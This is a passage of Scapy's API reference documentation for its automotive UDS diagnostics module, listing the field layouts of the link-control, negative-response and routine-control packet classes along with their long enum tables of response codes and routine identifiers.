+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LINKCONTROLTYPE|
+-+-+-+-+-+-+-+-+

                          Fig. UDS_LCPR                           


UDS_LCPR fields






	linkControlType

	ByteEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_NR(_pkt, /, *, requestServiceId=0, negativeResponseCode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1435-L1494]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1491-L1494]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|REQUESTSERVICEI|NEGATIVERESPONS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_NR                            


UDS_NR fields






	requestServiceId

	XByteEnumField

	0



	negativeResponseCode

	ByteEnumField

	0











	
negativeResponseCodes = {0: 'positiveResponse', 16: 'generalReject', 17: 'serviceNotSupported', 18: 'subFunctionNotSupported', 19: 'incorrectMessageLengthOrInvalidFormat', 20: 'responseTooLong', 32: 'ISOSAEReserved', 33: 'busyRepeatRequest', 34: 'conditionsNotCorrect', 35: 'ISOSAEReserved', 36: 'requestSequenceError', 37: 'noResponseFromSubnetComponent', 38: 'failurePreventsExecutionOfRequestedAction', 49: 'requestOutOfRange', 51: 'securityAccessDenied', 52: 'authenticationRequired', 53: 'invalidKey', 54: 'exceedNumberOfAttempts', 55: 'requiredTimeDelayNotExpired', 58: 'secureDataVerificationFailed', 112: 'uploadDownloadNotAccepted', 113: 'transferDataSuspended', 114: 'generalProgrammingFailure', 115: 'wrongBlockSequenceCounter', 120: 'requestCorrectlyReceived-ResponsePending', 126: 'subFunctionNotSupportedInActiveSession', 127: 'serviceNotSupportedInActiveSession', 128: 'ISOSAEReserved', 129: 'rpmTooHigh', 130: 'rpmTooLow', 131: 'engineIsRunning', 132: 'engineIsNotRunning', 133: 'engineRunTimeTooLow', 134: 'temperatureTooHigh', 135: 'temperatureTooLow', 136: 'vehicleSpeedTooHigh', 137: 'vehicleSpeedTooLow', 138: 'throttle/PedalTooHigh', 139: 'throttle/PedalTooLow', 140: 'transmissionRangeNotInNeutral', 141: 'transmissionRangeNotInGear', 142: 'ISOSAEReserved', 143: 'brakeSwitch(es)NotClosed', 144: 'shifterLeverNotInPark', 145: 'torqueConverterClutchLocked', 146: 'voltageTooHigh', 147: 'voltageTooLow'}

	








	
class scapy.contrib.automotive.uds.UDS_RC(_pkt, /, *, routineControlType=0, routineIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1144-L1156]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINECONTROLT|       ROUTINEIDENTIFIER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_RC                            


UDS_RC fields






	routineControlType

	ByteEnumField

	0



	routineIdentifier

	XShortEnumField

	0











	
routineControlIdentifiers = {0: 'BMW_linearAddressRange', 1: 'BMW_ROM_EPROM_internal', 2: 'BMW_ROM_EPROM_external', 3: 'BMW_NVRAM_characteristicZones_DTCmemory', 4: 'BMW_RAM_internal_shortMOV', 5: 'BMW_RAM_external_xDataMOV', 6: 'BMW_flashEPROM_internal', 7: 'BMW_UIFmemory', 8: 'BMW_vehicleOrderDataMemory', 9: 'BMW_flashEPROM_external', 11: 'BMW_RAM_internal_longMOVatRegister', 256: 'tachographTestIds_0100_01FF', 257: 'tachographTestIds_0100_01FF', 258: 'tachographTestIds_0100_01FF', 259: 'tachographTestIds_0100_01FF', 260: 'tachographTestIds_0100_01FF', 261: 'tachographTestIds_0100_01FF', 262: 'tachographTestIds_0100_01FF', 263: 'tachographTestIds_0100_01FF', 264: 'tachographTestIds_0100_01FF', 265: 'tachographTestIds_0100_01FF', 266: 'tachographTestIds_0100_01FF', 267: 'tachographTestIds_0100_01FF', 268: 'tachographTestIds_0100_01FF', 269: 'tachographTestIds_0100_01FF', 270: 'tachographTestIds_0100_01FF', 271: 'tachographTestIds_0100_01FF', 272: 'tachographTestIds_0100_01FF', 273: 'tachographTestIds_0100_01FF', 274: 'tachographTestIds_0100_01FF', 275: 'tachographTestIds_0100_01FF', 276: 'tachographTestIds_0100_01FF', 277: 'tachographTestIds_0100_01FF', 278: 'tachographTestIds_0100_01FF', 279: 'tachographTestIds_0100_01FF', 280: 'tachographTestIds_0100_01FF', 281: 'tachographTestIds_0100_01FF', 282: 'tachographTestIds_0100_01FF', 283: 'tachographTestIds_0100_01FF', 284: 'tachographTestIds_0100_01FF', 285: 'tachographTestIds_0100_01FF', 286: 'tachographTestIds_0100_01FF', 287: 'tachographTestIds_0100_01FF', 288: 'tachographTestIds_0100_01FF', 289: 'tachographTestIds_0100_01FF', 290: 'tachographTestIds_0100_01FF', 291: 'tachographTestIds_0100_01FF', 292: 'tachographTestIds_0100_01FF', 293: 'tachographTestIds_0100_01FF', 294: 'tachographTestIds_0100_01FF', 295: 'tachographTestIds_0100_01FF', 296: 'tachographTestIds_0100_01FF', 297: 'tachographTestIds_0100_01FF', 298: 'tachographTestIds_0100_01FF', 299: 'tachographTestIds_0100_01FF', 300: 'tachographTestIds_0100_01FF', 301: 'tachographTestIds_0100_01FF', 302: 'tachographTestIds_0100_01FF', 303: 'tachographTestIds_0100_01FF', 304: 'tachographTestIds_0100_01FF', 305: 'tachographTestIds_0100_01FF', 306: 'tachographTestIds_0100_01FF', 307: 'tachographTestIds_0100_01FF', 308: 'tachographTestIds_0100_01FF', 309: 'tachographTestIds_0100_01FF', 310: 'tachographTestIds_0100_01FF', 311: 'tachographTestIds_0100_01FF', 312: 'tachographTestIds_0100_01FF', 313: 'tachographTestIds_0100_01FF', 314: 'tachographTestIds_0100_01FF', 315: 'tachographTestIds_0100_01FF', 316: 'tachographTestIds_0100_01FF', 317: 'tachographTestIds_0100_01FF', 318: 'tachographTestIds_0100_01FF', 319: 'tachographTestIds_0100_01FF', 320: 'tachographTestIds_0100_01FF', 321: 'tachographTestIds_0100_01FF', 322: 'tachographTestIds_0100_01FF', 323: 'tachographTestIds_0100_01FF', 324: 'tachographTestIds_0100_01FF', 325: 'tachographTestIds_0100_01FF', 326: 'tachographTestIds_0100_01FF', 327: 'tachographTestIds_0100_01FF', 328: 'tachographTestIds_0100_01FF', 329: 'tachographTestIds_0100_01FF', 330: 'tachographTestIds_0100_01FF', 331: 'tachographTestIds_0100_01FF', 332: 'tachographTestIds_0100_01FF', 333: 'tachographTestIds_0100_01FF', 334: 'tachographTestIds_0100_01FF', 335: 'tachographTestIds_0100_01FF', 336: 'tachographTestIds_0100_01FF', 337: 'tachographTestIds_0100_01FF', 338: 'tachographTestIds_0100_01FF', 339: 'tachographTestIds_0100_01FF', 340: 'tachographTestIds_0100_01FF', 341: 'tachographTestIds_0100_01FF', 342: 'tachographTestIds_0100_01FF', 343: 'tachographTestIds_0100_01FF', 344: 'tachographTestIds_0100_01FF', 345: 'tachographTestIds_0100_01FF', 346: 'tachographTestIds_0100_01FF', 347: 'tachographTestIds_0100_01FF', 348: 'tachographTestIds_0100_01FF', 349: 'tachographTestIds_0100_01FF', 350: 'tachographTestIds_0100_01FF', 351: 'tachographTestIds_0100_01FF', 352: 'tachographTestIds_0100_01FF', 353: 'tachographTestIds_0100_01FF', 354: 'tachographTestIds_0100_01FF', 355: 'tachographTestIds_0100_01FF', 356: 'tachographTestIds_0100_01FF', 357: 'tachographTestIds_0100_01FF', 358: 'tachographTestIds_0100_01FF', 359: 'tachographTestIds_0100_01FF', 360: 'tachographTestIds_0100_01FF', 361: 'tachographTestIds_0100_01FF', 362: 'tachographTestIds_0100_01FF', 363: 'tachographTestIds_0100_01FF', 364: 'tachographTestIds_0100_01FF', 365: 'tachographTestIds_0100_01FF', 366: 'tachographTestIds_0100_01FF', 367: 'tachographTestIds_0100_01FF', 368: 'tachographTestIds_0100_01FF', 369: 'tachographTestIds_0100_01FF', 370: 'tachographTestIds_0100_01FF', 371: 'tachographTestIds_0100_01FF', 372: 'tachographTestIds_0100_01FF', 373: 'tachographTestIds_0100_01FF', 374: 'tachographTestIds_0100_01FF', 375: 'tachographTestIds_0100_01FF', 376: 'tachographTestIds_0100_01FF', 377: 'tachographTestIds_0100_01FF', 378: 'tachographTestIds_0100_01FF', 379: 'tachographTestIds_0100_01FF', 380: 'tachographTestIds_0100_01FF', 381: 'tachographTestIds_0100_01FF', 382: 'tachographTestIds_0100_01FF', 383: 'tachographTestIds_0100_01FF', 384: 'tachographTestIds_0100_01FF', 385: 'tachographTestIds_0100_01FF', 386: 'tachographTestIds_0100_01FF', 387: 'tachographTestIds_0100_01FF', 388: 'tachographTestIds_0100_01FF', 389: 'tachographTestIds_0100_01FF', 390: 'tachographTestIds_0100_01FF', 391: 'tachographTestIds_0100_01FF', 392: 'tachographTestIds_0100_01FF', 393: 'tachographTestIds_0100_01FF', 394: 'tachographTestIds_0100_01FF', 395: 'tachographTestIds_0100_01FF', 396: 'tachographTestIds_0100_01FF', 397: 'tachographTestIds_0100_01FF', 398: 'tachographTestIds_0100_01FF', 399: 'tachographTestIds_0100_01FF', 400: 'tachographTestIds_0100_01FF', 401: 'tachographTestIds_0100_01FF', 402: 'tachographTestIds_0100_01FF', 403: 'tachographTestIds_0100_01FF', 404: 'tachographTestIds_0100_01FF', 405: 'tachographTestIds_0100_01FF', 406: 'tachographTestIds_0100_01FF', 407: 'tachographTestIds_0100_01FF', 408: 'tachographTestIds_0100_01FF', 409: 'tachographTestIds_0100_01FF', 410: 'tachographTestIds_0100_01FF', 411: 'tachographTestIds_0100_01FF', 412: 'tachographTestIds_0100_01FF', 413: 'tachographTestIds_0100_01FF', 414: 'tachographTestIds_0100_01FF', 415: 'tachographTestIds_0100_01FF', 416: 'tachographTestIds_0100_01FF', 417: 'tachographTestIds_0100_01FF', 418: 'tachographTestIds_0100_01FF', 419: 'tachographTestIds_0100_01FF', 420: 'tachographTestIds_0100_01FF', 421: 'tachographTestIds_0100_01FF', 422: 'tachographTestIds_0100_01FF', 423: 'tachographTestIds_0100_01FF', 424: 'tachographTestIds_0100_01FF', 425: 'tachographTestIds_0100_01FF', 426: 'tachographTestIds_0100_01FF', 427: 'tachographTestIds_0100_01FF', 428: 'tachographTestIds_0100_01FF', 429: 'tachographTestIds_0100_01FF', 430: 'tachographTestIds_0100_01FF', 431: 'tachographTestIds_0100_01FF', 432: 'tachographTestIds_0100_01FF', 433: 'tachographTestIds_0100_01FF', 434: 'tachographTestIds_0100_01FF', 435: 'tachographTestIds_0100_01FF', 436: 'tachographTestIds_0100_01FF', 437: 'tachographTestIds_0100_01FF', 438: 'tachographTestIds_0100_01FF', 439: 'tachographTestIds_0100_01FF', 440: 'tachographTestIds_0100_01FF', 441: 'tachographTestIds_0100_01FF', 442: 'tachographTestIds_0100_01FF', 443: 'tachographTestIds_0100_01FF', 444: 'tachographTestIds_0100_01FF', 445: 'tachographTestIds_0100_01FF', 446: 'tachographTestIds_0100_01FF', 447: 'tachographTestIds_0100_01FF', 448: 'tachographTestIds_0100_01FF', 449: 'tachographTestIds_0100_01FF', 450: 'tachographTestIds_0100_01FF', 451: 'tachographTestIds_0100_01FF', 452: 'tachographTestIds_0100_01FF', 453: 'tachographTestIds_0100_01FF', 454: 'tachographTestIds_0100_01FF', 455: 'tachographTestIds_0100_01FF', 456: 'tachographTestIds_0100_01FF', 457: 'tachographTestIds_0100_01FF', 458: 'tachographTestIds_0100_01FF', 459: 'tachographTestIds_0100_01FF', 460: 'tachographTestIds_0100_01FF', 461: 'tachographTestIds_0100_01FF', 462: 'tachographTestIds_0100_01FF', 463: 'tachographTestIds_0100_01FF', 464: 'tachographTestIds_0100_01FF', 465: 'tachographTestIds_0100_01FF', 466: 'tachographTestIds_0100_01FF', 467: 'tachographTestIds_0100_01FF', 468: 'tachographTestIds_0100_01FF', 469: 'tachographTestIds_0100_01FF', 470: 'tachographTestIds_0100_01FF', 471: 'tachographTestIds_0100_01FF', 472: 'tachographTestIds_0100_01FF', 473: 'tachographTestIds_0100_01FF', 474: 'tachographTestIds_0100_01FF', 475: 'tachographTestIds_0100_01FF', 476: 'tachographTestIds_0100_01FF', 477: 'tachographTestIds_0100_01FF', 478: 'tachographTestIds_0100_01FF', 479: 'tachographTestIds_0100_01FF', 480: 'tachographTestIds_0100_01FF', 481: 'tachographTestIds_0100_01FF', 482: 'tachographTestIds_0100_01FF', 483: 'tachographTestIds_0100_01FF', 484: 'tachographTestIds_0100_01FF', 485: 'tachographTestIds_0100_01FF', 486: 'tachographTestIds_0100_01FF', 487: 'tachographTestIds_0100_01FF', 488: 'tachographTestIds_0100_01FF', 489: 'tachographTestIds_0100_01FF', 490: 'tachographTestIds_0100_01FF', 491: 'tachographTestIds_0100_01FF', 492: 'tachographTestIds_0100_01FF', 493: 'tachographTestIds_0100_01FF', 494: 'tachographTestIds_0100_01FF', 495: 'tachographTestIds_0100_01FF', 496: 'tachographTestIds_0100_01FF', 497: 'tachographTestIds_0100_01FF', 498: 'tachographTestIds_0100_01FF', 499: 'tachographTestIds_0100_01FF', 500: 'tachographTestIds_0100_01FF', 501: 'tachographTestIds_0100_01FF', 502: 'tachographTestIds_0100_01FF', 503: 'tachographTestIds_0100_01FF', 504: 'tachographTestIds_0100_01FF', 505: 'tachographTestIds_0100_01FF', 506: 'tachographTestIds_0100_01FF', 507: 'tachographTestIds_0100_01FF', 508: 'tachographTestIds_0100_01FF', 509: 'tachographTestIds_0100_01FF', 510: 'tachographTestIds_0100_01FF', 511: 'tachographTestIds_0100_01FF', 512: 'VCM_SVT', 514: 'checkMemory', 515: 'checkProgrammingPreCondition', 516: 'readSWEProgrammingStatus', 517: 'readSWEDevelopmentInfo', 518: 'checkProgrammingPower', 519: 'VCM_Generiere_SVT', 523: 'Steuergeraetetausch', 524: 'KeyExchange', 525: 'FingerprintExchange', 526: 'InternalAuthentication', 527: 'CyclicSignatureCheck', 528: 'TeleServiceLogin', 529: 'ExternalAuthentication', 530: 'StoreTransportKeyList', 531: 'InitSignalKeyDeployment', 532: 'N10GetState', 533: 'GetParameterN11', 544: 'RequestDeleteSwPackage', 560: 'ResetState', 561: 'GetState', 562: 'ResetStateFsCSM', 563: 'GetParameterN11', 564: 'ExternerInit', 677: 'RequestListEntry', 771: 'DiagLoopbackStart', 772: 'DTC', 773: 'STEUERN_DM_FSS_MASTER', 3841: 'codingChecksum', 3842: 'clearMemory', 3844: 'selfTest', 3845: 'powerDown', 3846: 'clearDTCSecondaryMemory', 3847: 'requestForAuthentication', 3848: 'releaseAuthentication', 3849: 'checkSignature', 3850: 'checkProgrammingStatus', 3851: 'ExecuteDiagnosticService', 3852: 'SetEnergyMode', 3853: 'resetSystemFaultMessage', 3854: 'timeControlledPowerDown', 3855: 'disableCommunicationOverGateway', 3871: 'SwtRoutine', 4098: 'Individualdatenrettung', 4099: 'SetExtendedMode', 4103: 'MasterVIN', 4109: 'ActivateCodingMode', 4110: 'ActivateProgrammingMode', 4111: 'ActivateApplicationMode', 4112: 'SetDefaultBus', 4113: 'GetActualConfig', 4115: 'RequestListEntryGWTB', 4129: 'requestPreferredProtcol', 4130: 'checkConnection', 4132: 'ResetActivationlineLogical', 4162: 'EthernetARLTable', 4165: 'EthernetIPConfiguration', 4174: 'EthernetARLTableExtended', 16384: 'Diagnosemaster', 16385: 'SetGWRouting', 16386: 'HDDDownload', 16388: 'KeepBussesAlive', 16391: 'updateMode', 16392: 'httpUpdate', 28672: 'ProcessingApplicationData', 41084: 'RequestDeactivateHddSafeMode', 41138: 'RequestSteuernApixReinitMode', 43919: 'setEngineAngle', 57344: 'OBDTestIDs', 57345: 'OBDTestIDs', 57346: 'OBDTestIDs', 57347: 'OBDTestIDs', 57348: 'OBDTestIDs', 57349: 'OBDTestIDs', 57350: 'OBDTestIDs', 57351: 'OBDTestIDs', 57352: 'OBDTestIDs', 57353: 'OBDTestIDs', 57354: 'OBDTestIDs', 57355: 'OBDTestIDs', 57356: 'OBDTestIDs', 57357: 'OBDTestIDs', 57358: 'OBDTestIDs', 57359: 'OBDTestIDs', 57360: 'OBDTestIDs', 57361: 'OBDTestIDs', 57362: 'OBDTestIDs', 57363: 'OBDTestIDs', 57364: 'OBDTestIDs', 57365: 'OBDTestIDs', 57366: 'OBDTestIDs', 57367: 'OBDTestIDs', 57368: 'OBDTestIDs', 57369: 'OBDTestIDs', 57370: 'OBDTestIDs', 57371: 'OBDTestIDs', 57372: 'OBDTestIDs', 57373: 'OBDTestIDs', 57374: 'OBDTestIDs', 57375: 'OBDTestIDs', 57376: 'OBDTestIDs', 57377: 'OBDTestIDs', 57378: 'OBDTestIDs', 57379: 'OBDTestIDs', 57380: 'OBDTestIDs', 57381: 'OBDTestIDs', 57382: 'OBDTestIDs', 57383: 'OBDTestIDs', 57384: 'OBDTestIDs', 57385: 'OBDTestIDs', 57386: 'OBDTestIDs', 57387: 'OBDTestIDs', 57388: 'OBDTestIDs', 57389: 'OBDTestIDs', 57390: 'OBDTestIDs', 57391: 'OBDTestIDs', 57392: 'OBDTestIDs', 57393: 'OBDTestIDs', 57394: 'OBDTestIDs', 57395: 'OBDTestIDs', 57396: 'OBDTestIDs', 57397: 'OBDTestIDs', 57398: 'OBDTestIDs', 57399: 'OBDTestIDs', 57400: 'OBDTestIDs', 57401: 'OBDTestIDs', 57402: 'OBDTestIDs', 57403: 'OBDTestIDs', 57404: 'OBDTestIDs', 57405: 'OBDTestIDs', 57406: 'OBDTestIDs', 57407: 'OBDTestIDs', 57408: 'OBDTestIDs', 57409: 'OBDTestIDs', 57410: 'OBDTestIDs', 57411: 'OBDTestIDs', 57412: 'OBDTestIDs', 57413: 'OBDTestIDs', 57414: 'OBDTestIDs', 57415: 'OBDTestIDs', 57416: 'OBDTestIDs', 57417: 'OBDTestIDs', 57418: 'OBDTestIDs', 57419: 'OBDTestIDs', 57420: 'OBDTestIDs', 57421: 'OBDTestIDs', 57422: 'OBDTestIDs', 57423: 'OBDTestIDs', 57424: 'OBDTestIDs', 57425: 'OBDTestIDs', 57426: 'OBDTestIDs', 57427: 'OBDTestIDs', 57428: 'OBDTestIDs', 57429: 'OBDTestIDs', 57430: 'OBDTestIDs', 57431: 'OBDTestIDs', 57432: 'OBDTestIDs', 57433: 'OBDTestIDs', 57434: 'OBDTestIDs', 57435: 'OBDTestIDs', 57436: 'OBDTestIDs', 57437: 'OBDTestIDs', 57438: 'OBDTestIDs', 57439: 'OBDTestIDs', 57440: 'OBDTestIDs', 57441: 'OBDTestIDs', 57442: 'OBDTestIDs', 57443: 'OBDTestIDs', 57444: 'OBDTestIDs', 57445: 'OBDTestIDs', 57446: 'OBDTestIDs', 57447: 'OBDTestIDs', 57448: 'OBDTestIDs', 57449: 'OBDTestIDs', 57450: 'OBDTestIDs', 57451: 'OBDTestIDs', 57452: 'OBDTestIDs', 57453: 'OBDTestIDs', 57454: 'OBDTestIDs', 57455: 'OBDTestIDs', 57456: 'OBDTestIDs', 57457: 'OBDTestIDs', 57458: 'OBDTestIDs', 57459: 'OBDTestIDs', 57460: 'OBDTestIDs', 57461: 'OBDTestIDs', 57462: 'OBDTestIDs', 57463: 'OBDTestIDs', 57464: 'OBDTestIDs', 57465: 'OBDTestIDs', 57466: 'OBDTestIDs', 57467: 'OBDTestIDs', 57468: 'OBDTestIDs', 57469: 'OBDTestIDs', 57470: 'OBDTestIDs', 57471: 'OBDTestIDs', 57472: 'OBDTestIDs', 57473: 'OBDTestIDs', 57474: 'OBDTestIDs', 57475: 'OBDTestIDs', 57476: 'OBDTestIDs', 57477: 'OBDTestIDs', 57478: 'OBDTestIDs', 57479: 'OBDTestIDs', 57480: 'OBDTestIDs', 57481: 'OBDTestIDs', 57482: 'OBDTestIDs', 57483: 'OBDTestIDs', 57484: 'OBDTestIDs', 57485: 'OBDTestIDs', 57486: 'OBDTestIDs', 57487: 'OBDTestIDs', 57488: 'OBDTestIDs', 57489: 'OBDTestIDs', 57490: 'OBDTestIDs', 57491: 'OBDTestIDs', 57492: 'OBDTestIDs', 57493: 'OBDTestIDs', 57494: 'OBDTestIDs', 57495: 'OBDTestIDs', 57496: 'OBDTestIDs', 57497: 'OBDTestIDs', 57498: 'OBDTestIDs', 57499: 'OBDTestIDs', 57500: 'OBDTestIDs', 57501: 'OBDTestIDs', 57502: 'OBDTestIDs', 57503: 'OBDTestIDs', 57504: 'OBDTestIDs', 57505: 'OBDTestIDs', 57506: 'OBDTestIDs', 57507: 'OBDTestIDs', 57508: 'OBDTestIDs', 57509: 'OBDTestIDs', 57510: 'OBDTestIDs', 57511: 'OBDTestIDs', 57512: 'OBDTestIDs', 57513: 'OBDTestIDs', 57514: 'OBDTestIDs', 57515: 'OBDTestIDs', 57516: 'OBDTestIDs', 57517: 'OBDTestIDs', 57518: 'OBDTestIDs', 57519: 'OBDTestIDs', 57520: 'OBDTestIDs', 57521: 'OBDTestIDs', 57522: 'OBDTestIDs', 57523: 'OBDTestIDs', 57524: 'OBDTestIDs', 57525: 'OBDTestIDs', 57526: 'OBDTestIDs', 57527: 'OBDTestIDs', 57528: 'OBDTestIDs', 57529: 'OBDTestIDs', 57530: 'OBDTestIDs', 57531: 'OBDTestIDs', 57532: 'OBDTestIDs', 57533: 'OBDTestIDs', 57534: 'OBDTestIDs', 57535: 'OBDTestIDs', 57536: 'OBDTestIDs', 57537: 'OBDTestIDs', 57538: 'OBDTestIDs', 57539: 'OBDTestIDs', 57540: 'OBDTestIDs', 57541: 'OBDTestIDs', 57542: 'OBDTestIDs', 57543: 'OBDTestIDs', 57544: 'OBDTestIDs', 57545: 'OBDTestIDs', 57546: 'OBDTestIDs', 57547: 'OBDTestIDs', 57548: 'OBDTestIDs', 57549: 'OBDTestIDs', 57550: 'OBDTestIDs', 57551: 'OBDTestIDs', 57552: 'OBDTestIDs', 57553: 'OBDTestIDs', 57554: 'OBDTestIDs', 57555: 'OBDTestIDs', 57556: 'OBDTestIDs', 57557: 'OBDTestIDs', 57558: 'OBDTestIDs', 57559: 'OBDTestIDs', 57560: 'OBDTestIDs', 57561: 'OBDTestIDs', 57562: 'OBDTestIDs', 57563: 'OBDTestIDs', 57564: 'OBDTestIDs', 57565: 'OBDTestIDs', 57566: 'OBDTestIDs', 57567: 'OBDTestIDs', 57568: 'OBDTestIDs', 57569: 'OBDTestIDs', 57570: 'OBDTestIDs', 57571: 'OBDTestIDs', 57572: 'OBDTestIDs', 57573: 'OBDTestIDs', 57574: 'OBDTestIDs', 57575: 'OBDTestIDs', 57576: 'OBDTestIDs', 57577: 'OBDTestIDs', 57578: 'OBDTestIDs', 57579: 'OBDTestIDs', 57580: 'OBDTestIDs', 57581: 'OBDTestIDs', 57582: 'OBDTestIDs', 57583: 'OBDTestIDs', 57584: 'OBDTestIDs', 57585: 'OBDTestIDs', 57586: 'OBDTestIDs', 57587: 'OBDTestIDs', 57588: 'OBDTestIDs', 57589: 'OBDTestIDs', 57590: 'OBDTestIDs', 57591: 'OBDTestIDs', 57592: 'OBDTestIDs', 57593: 'OBDTestIDs', 57594: 'OBDTestIDs', 57595: 'OBDTestIDs', 57596: 'OBDTestIDs', 57597: 'OBDTestIDs', 57598: 'OBDTestIDs', 57599: 'OBDTestIDs', 57600: 'OBDTestIDs', 57601: 'OBDTestIDs', 57602: 'OBDTestIDs', 57603: 'OBDTestIDs', 57604: 'OBDTestIDs', 57605: 'OBDTestIDs', 57606: 'OBDTestIDs', 57607: 'OBDTestIDs', 57608: 'OBDTestIDs', 57609: 'OBDTestIDs', 57610: 'OBDTestIDs', 57611: 'OBDTestIDs', 57612: 'OBDTestIDs', 57613: 'OBDTestIDs', 57614: 'OBDTestIDs', 57615: 'OBDTestIDs', 57616: 'OBDTestIDs', 57617: 'OBDTestIDs', 57618: 'OBDTestIDs', 57619: 'OBDTestIDs', 57620: 'OBDTestIDs', 57621: 'OBDTestIDs', 57622: 'OBDTestIDs', 57623: 'OBDTestIDs', 57624: 'OBDTestIDs', 57625: 'OBDTestIDs', 57626: 'OBDTestIDs', 57627: 'OBDTestIDs', 57628: 'OBDTestIDs', 57629: 'OBDTestIDs', 57630: 'OBDTestIDs', 57631: 'OBDTestIDs', 57632: 'OBDTestIDs', 57633: 'OBDTestIDs', 57634: 'OBDTestIDs', 57635: 'OBDTestIDs', 57636: 'OBDTestIDs', 57637: 'OBDTestIDs', 57638: 'OBDTestIDs', 57639: 'OBDTestIDs', 57640: 'OBDTestIDs', 57641: 'OBDTestIDs', 57642: 'OBDTestIDs', 57643: 'OBDTestIDs', 57644: 'OBDTestIDs', 57645: 'OBDTestIDs', 57646: 'OBDTestIDs', 57647: 'OBDTestIDs', 57648: 'OBDTestIDs', 57649: 'OBDTestIDs', 57650: 'OBDTestIDs', 57651: 'OBDTestIDs', 57652: 'OBDTestIDs', 57653: 'OBDTestIDs', 57654: 'OBDTestIDs', 57655: 'OBDTestIDs', 57656: 'OBDTestIDs', 57657: 'OBDTestIDs', 57658: 'OBDTestIDs', 57659: 'OBDTestIDs', 57660: 'OBDTestIDs', 57661: 'OBDTestIDs', 57662: 'OBDTestIDs', 57663: 'OBDTestIDs', 57664: 'OBDTestIDs', 57665: 'OBDTestIDs', 57666: 'OBDTestIDs', 57667: 'OBDTestIDs', 57668: 'OBDTestIDs', 57669: 'OBDTestIDs', 57670: 'OBDTestIDs', 57671: 'OBDTestIDs', 57672: 'OBDTestIDs', 57673: 'OBDTestIDs', 57674: 'OBDTestIDs', 57675: 'OBDTestIDs', 57676: 'OBDTestIDs', 57677: 'OBDTestIDs', 57678: 'OBDTestIDs', 57679: 'OBDTestIDs', 57680: 'OBDTestIDs', 57681: 'OBDTestIDs', 57682: 'OBDTestIDs', 57683: 'OBDTestIDs', 57684: 'OBDTestIDs', 57685: 'OBDTestIDs', 57686: 'OBDTestIDs', 57687: 'OBDTestIDs', 57688: 'OBDTestIDs', 57689: 'OBDTestIDs', 57690: 'OBDTestIDs', 57691: 'OBDTestIDs', 57692: 'OBDTestIDs', 57693: 'OBDTestIDs', 57694: 'OBDTestIDs', 57695: 'OBDTestIDs', 57696: 'OBDTestIDs', 57697: 'OBDTestIDs', 57698: 'OBDTestIDs', 57699: 'OBDTestIDs', 57700: 'OBDTestIDs', 57701: 'OBDTestIDs', 57702: 'OBDTestIDs', 57703: 'OBDTestIDs', 57704: 'OBDTestIDs', 57705: 'OBDTestIDs', 57706: 'OBDTestIDs', 57707: 'OBDTestIDs', 57708: 'OBDTestIDs', 57709: 'OBDTestIDs', 57710: 'OBDTestIDs', 57711: 'OBDTestIDs', 57712: 'OBDTestIDs', 57713: 'OBDTestIDs', 57714: 'OBDTestIDs', 57715: 'OBDTestIDs', 57716: 'OBDTestIDs', 57717: 'OBDTestIDs', 57718: 'OBDTestIDs', 57719: 'OBDTestIDs', 57720: 'OBDTestIDs', 57721: 'OBDTestIDs', 57722: 'OBDTestIDs', 57723: 'OBDTestIDs', 57724: 'OBDTestIDs', 57725: 'OBDTestIDs', 57726: 'OBDTestIDs', 57727: 'OBDTestIDs', 57728: 'OBDTestIDs', 57729: 'OBDTestIDs', 57730: 'OBDTestIDs', 57731: 'OBDTestIDs', 57732: 'OBDTestIDs', 57733: 'OBDTestIDs', 57734: 'OBDTestIDs', 57735: 'OBDTestIDs', 57736: 'OBDTestIDs', 57737: 'OBDTestIDs', 57738: 'OBDTestIDs', 57739: 'OBDTestIDs', 57740: 'OBDTestIDs', 57741: 'OBDTestIDs', 57742: 'OBDTestIDs', 57743: 'OBDTestIDs', 57744: 'OBDTestIDs', 57745: 'OBDTestIDs', 57746: 'OBDTestIDs', 57747: 'OBDTestIDs', 57748: 'OBDTestIDs', 57749: 'OBDTestIDs', 57750: 'OBDTestIDs', 57751: 'OBDTestIDs', 57752: 'OBDTestIDs', 57753: 'OBDTestIDs', 57754: 'OBDTestIDs', 57755: 'OBDTestIDs', 57756: 'OBDTestIDs', 57757: 'OBDTestIDs', 57758: 'OBDTestIDs', 57759: 'OBDTestIDs', 57760: 'OBDTestIDs', 57761: 'OBDTestIDs', 57762: 'OBDTestIDs', 57763: 'OBDTestIDs', 57764: 'OBDTestIDs', 57765: 'OBDTestIDs', 57766: 'OBDTestIDs', 57767: 'OBDTestIDs', 57768: 'OBDTestIDs', 57769: 'OBDTestIDs', 57770: 'OBDTestIDs', 57771: 'OBDTestIDs', 57772: 'OBDTestIDs', 57773: 'OBDTestIDs', 57774: 'OBDTestIDs', 57775: 'OBDTestIDs', 57776: 'OBDTestIDs', 57777: 'OBDTestIDs', 57778: 'OBDTestIDs', 57779: 'OBDTestIDs', 57780: 'OBDTestIDs', 57781: 'OBDTestIDs', 57782: 'OBDTestIDs', 57783: 'OBDTestIDs', 57784: 'OBDTestIDs', 57785: 'OBDTestIDs', 57786: 'OBDTestIDs', 57787: 'OBDTestIDs', 57788: 'OBDTestIDs', 57789: 'OBDTestIDs', 57790: 'OBDTestIDs', 57791: 'OBDTestIDs', 57792: 'OBDTestIDs', 57793: 'OBDTestIDs', 57794: 'OBDTestIDs', 57795: 